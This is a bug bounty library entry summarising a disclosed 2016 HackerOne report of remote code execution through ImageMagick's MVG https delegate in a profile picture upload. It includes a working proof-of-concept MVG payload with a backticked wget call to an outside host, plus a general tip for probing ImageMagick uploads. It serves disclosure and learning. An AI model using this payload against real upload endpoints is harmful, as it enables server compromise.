# RCE in profile picture upload

Profile picture upload passed non-image files to ImageMagick, whose MVG https delegate allowed command injection via backticks, yielding RCE.

- Payout: hidden
- Severity: critical
- Program: HackerOne
- Found by: c666a323be94d57
- Disclosed: 2016-06-08
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/135072
- Library page: https://bugbountylibrary.com/r/h1%3A135072
- Tags: area:web domain:web impact:rce kind:bounty platform:hackerone sev:critical tech:php technique:source-review vuln:command-injection vuln:file-upload vuln:rce

**Target:** Profile picture upload endpoint /settings/profile/edit
**Root cause:** Uploaded file is passed to ImageMagick without verifying it is an actual image; ImageMagick parses ASCII text as MVG, and the https delegate handler invokes curl via bash with unsanitized backtick substitution.
**Steps:**
1. Upload an ASCII file named `x.gif` via the profile picture upload at /settings/profile/edit
2. File content: `push graphic-context` / `viewbox 0 0 640 480` / `image over 0,0 0,0 'https://127.0.0.1/x.php?x=`wget -O- 1.2.3.4:1337 > /dev/null`'` / `pop graphic-context`
3. ImageMagick parses it as MVG; the image directive invokes the https delegate
4. The delegate's bash/curl invocation executes the backticked `wget` command, sending an HTTP request to 1.2.3.4:1337
**How found:** Noticed the upload endpoint passes files to ImageMagick without validating actual image content, then reasoned that ImageMagick parses ASCII as MVG and that MVG image directives use delegates (like URL schemes) whose https handler shells out to curl.
**Exploitation:** Attacker uploads a crafted MVG-as-GIF file through the normal avatar flow; ImageMagick's https delegate runs the embedded backtick command on the server, giving command execution as the image-processing user.
**Insight:** Any upload that reaches ImageMagick is an MVG parser surface: test ASCII payloads with `push graphic-context` and `image over ... 'https://...` to hit the delegate handlers, which shell out to curl/wget and are command-injectable via backticks.

## Proof of concept (copied exactly from the original report)

**MVG payload uploaded as x.gif for RCE**

```
push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'https://127.0.0.1/x.php?x=`wget -O- 1.2.3.4:1337 > /dev/null`'
pop graphic-context
```